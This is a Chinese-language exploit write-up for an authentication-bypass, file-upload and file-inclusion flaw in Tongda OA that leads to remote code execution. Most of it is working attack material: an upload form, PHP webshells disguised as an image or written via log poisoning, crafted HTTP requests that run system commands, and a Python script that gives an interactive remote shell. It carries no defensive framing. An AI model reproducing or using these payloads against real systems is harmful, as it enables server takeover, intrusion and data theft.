通达OA任意文件上传+文件包含GetShell/包含日志文件Getshell
0x01 简介
通达OA采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠。数据存取集中控制,避免了数据泄漏的可能。提供数据备份工具,保护系统数据安全。多级的权限控制,完善的密码验证与登录验证机制更加强了系统安全性。
0x02 漏洞概述
通过绕过身份认证, 攻击者可上传任意文件,配合文件包含即可出发远程恶意代码执行。
0x03 影响版本
通达OA V11版 <= 11.3 20200103
通达OA 2017版 <= 10.19 20190522
通达OA 2016版 <= 9.13 20170710
通达OA 2015版 <= 8.15 20160722
通达OA 2013增强版 <= 7.25 20141211
通达OA 2013版 <= 6.20 20141017
注:有些版本的漏洞文件ateway.php路径不一样
例如2013:
http://www.0-sec.org/ispirit/im/upload.php
http://www.0-sec.org/ispirit/interface/gateway.php
例如2017:
http://www.0-sec.org/ispirit/im/upload.php
http://www.0-sec.org/mac/gateway.php
例如2019:
http://www.0-sec.org/ispirit/im/upload.php
http://www.0-sec.org/ispirit/interface/gateway.php
C:\MYOA>dir /s /b gateway.php
C:\MYOA\webroot\mac\gateway.php
2015没有文件包含,官方给的补丁2017的没有修复文件包含,所以还有很多种包含日志文件getshell的姿势,不一定要文件上传。
http://www.0-sec.org/api/ddsuite/error.php
POST:message=<?php file_put_contents("2.php",base64_decode("PD9waHAgYXNzZXJ0KCRfUE9TVFsxXSk7Pz4="));?>52011
然后包含
http://www.0-sec.org/mac/gateway.php
POST:json={"url":"..\/..\/logs\/oa\/2003\/dd_error.log"}
在http://192.168.124.138/mac/2.php就是shell密码1
复现参考
https://www.cnblogs.com/yuyan-sec/p/12549237.html
http://wiki.0-sec.org/0day/%E9%80%9A%E8%BE%BEoa/13.html
复现环境
链接:https://pan.baidu.com/s/1QFscmlyGOhNNodNZOADNSA 提取码:6fe0
通达2019 11.3版本
192.168.247.131:81
1.构造html上传页面(标记的就是目标地址)
<html> <body> <form action="http://127.0.0.1/ispirit/im/upload.php" method="post" enctype="multipart/form-data"> <input type="text"name='P' value = 1 ></input> <input type="text"name='MSG_CATE' value = 'file'></input> <input type="text"name='UPLOAD_MODE' value = 1 ></input> <input type="text" name="DEST_UID" value = 1></input> <input type="file" name="ATTACHMENT"></input> <input type="submit" ></input> </body> </html>
2.制作图片马,以下代码保存为456.jpg
<?php //保存为jpg $phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!"); $exec=$phpwsh->exec("cmd.exe /c ".$_POST['cmd'].""); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>
3.打开html,选择文件,然后上传456.jpg
2004是文件夹名,1395154060|456.jpg是文件名,要把 | 修改成点 ,即:1395154060.456.jpg
4. 请求相对应版本的gateway.php ,修改对应版本路径文件,和对应图片马上传的路径和文件名
POST /ispirit/interface/gateway.php HTTP/1.1 Host: 192.168.247.131:81 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=1; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=1ac017c0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 76 json={"url":"/general/../../attach/im/2004/1395154060.456.jpg"}&cmd=net user
实则就是包含了上传的图片马,然后执行了命令
---------------------------------------------------------------
1. 抓取数据包来发送一句话木马代码,不能直接在浏览器访问,因为那样符号会被浏览器编码的
<?php @eval($_POST[c]);?>
2.由于是本地环境搭建,那么可以查看一下nginx的日志是不是记录了一句话(实战环境可忽略这一步)
也确实是把一句话记录在日志里
3.那么来包含这个nginx的日志来getshell ,菜刀连接,密码 c (注:一定要用老版的菜刀,不要连不上,新版不支持这个url格式会报错)
http://192.168.247.131:81/ispirit/interface/gateway.php?json={"url":"/general/../../nginx/logs/oa.access.log"}
成功连接
附上一个脚本,但是好像因为环境问题没有利用成功,有环境再试吧。
import requests,sys def poc(): global url upload = url+"/ispirit/im/upload.php" cmdshell = """ <?php $command=$_POST['cmd']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c ".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?> """ files = {"ATTACHMENT": cmdshell} upload_post = { "UPLOAD_MODE":2, "P":123, "DEST_UID":2 } r = requests.post(upload,upload_post,files=files) path = r.text path = path[path.find('@')+1:path.rfind('|')].replace("_","/").replace("|",".") return path def exp(): global url path = poc() headers = { "Content-Type":"application/x-www-form-urlencoded" } include = url+"/ispirit/interface/gateway.php" while 1: cmd = input("$ ") include_post = 'json={"url":"/general/../../attach/im/'+path+'"}&cmd=%s' % cmd req = requests.post(url=include, data=include_post,headers=headers) print(req.text) if cmd == 'exit': break if __name__ == '__main__': try: url = sys.argv[1] print(""" ______ ___ ____ ____ ___ ____ ____ __ ___ | | / \ | \ / | | \ / | | \ / ] / _] | || || _ || __| | \ | o | | D ) / / / [_ |_| |_|| O || | || | | | D || | | / / / | _] | | | || | || |_ | | || _ | | \ / \_ | [_ | | | || | || | | || | | | . \\ || | |__| \___/ |__|__||___,_| |_____||__|__| |__|\_| \____||_____| """) poc() exp() except: print("python "+sys.argv[0]+" http://127.0.0.1")